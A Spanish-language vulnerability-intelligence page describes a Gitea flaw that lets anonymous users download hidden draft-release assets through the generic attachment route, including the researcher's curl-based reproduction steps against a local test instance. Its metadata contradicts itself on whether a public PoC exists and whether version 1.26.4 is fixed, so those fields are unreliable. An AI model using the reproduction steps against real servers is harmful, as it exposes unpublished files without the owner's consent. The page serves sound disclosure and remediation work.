llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · code.gitea.io/gitea

GHSA-M984-2424-X6VW

Generic attachment downloads bypass draft-release visibility checks

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
3.7
Baja
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición60 dDesde la divulgación, 22 sept 2026, 12:08 p. m.
Detección57 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. No hay versión corregida: aplique mitigaciones.
Ponla al final de la lista y no pasa nada.Riesgo bajo: puedes terminar tu café.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
22 sept 26
18 nov 26
22 nov 26
22 sept 26
7 oct 26
23 oct 26
7 nov 26
22 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-M984-2424-X6VW divulgada · CVSS 3.7 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
GitHub

### Summary
In Gitea 1.26.1, anonymous users can download draft release assets through `/attachments/{uuid}` even when the draft release itself is hidden. The generic attachment route does not re-apply the draft-release visibility check before serving the file.

### Details
The verified report ties this to `routers/web/repo/attachment.go:141-173`, which serves linked attachments without reloading the parent release or enforcing the draft flag again. `routers/api/v1/repo/release_attachment.go:23-40,134-150` shows the normal release path does enforce `canAccessReleaseDraft(ctx)`, while `services/repository/repository.go:199-204` collapses release attachments down to `unit.TypeReleases` and loses the `IsDraft` context. `routers/web/web.go:872,1471` routes UUID-based attachment downloads to the generic handler. In the verified test, anonymous access to the draft release API returned `404`, but anonymous access to `/attachments/{uuid}` returned `200` and served the draft asset content.

### PoC
1. Start an isolated Gitea 1.26.1 instance and set `BASE=http://127.0.0.1:3000`. Create a test user `owner`.
2. As `owner`, create a public initialized repository:
`curl -u owner:ownerpass123 -H 'Content-Type: application/json' -d '{"name":"draft-asset-demo","private":false,"auto_init":true}' "$BASE/api/v1/user/repos"`
3. As `owner`, create a draft release and copy the returned numeric release ID:
`curl -u owner:ownerpass123 -H 'Content-Type: application/json' -d '{"tag_name":"draft-1","name":"draft-1","draft":true}' "$BASE/api/v1/repos/owner/draft-asset-demo/releases"`
4. Create a harmless asset with recognizable content:
`printf 'draft-only-binary' > /tmp/draft-asset.txt`
5. Upload it to the draft release and copy the returned `uuid` or `browser_download_url`:
`curl -u owner:ownerpass123 -X POST -H 'Content-Type: application/octet-stream' --data-binary @/tmp/draft-asset.txt "$BASE/api/v1/repos/owner/draft-asset-demo/releases/$RELEASE_ID/assets?name=draft-asset.txt"`
6. As an anonymous user with no cookies, verify the draft release itself is hidden:
`curl -i "$BASE/api/v1/repos/owner/draft-asset-demo/releases/$RELEASE_ID"`
7. Confirm this returns `404`.
8. As the same anonymous user, request the generic attachment route:
`curl -i "$BASE/attachments/$UUID"`
9. Observe `200 OK` and the file body `draft-only-binary`.
10. Optionally compare with the normal release download route `/owner/draft-asset-demo/releases/download/draft-1/draft-asset.txt`, which should remain hidden while `/attachments/$UUID` succeeds.

### Impact
This leaks unpublished release assets. Anyone who learns the attachment UUID can retrieve draft binaries or other release files before the maintainer chooses to publish them.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:L
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.1/ 10Alto
Vector 7.1 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
code.gitea.io/gitea≤ 1.26.4
1.26.4
v1.26.4
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gocode.gitea.io/gitea
Sin parche — — v1.26.4 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/go-gitea/gitea/security/advisories/GHSA-m984-2424-x6vw

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.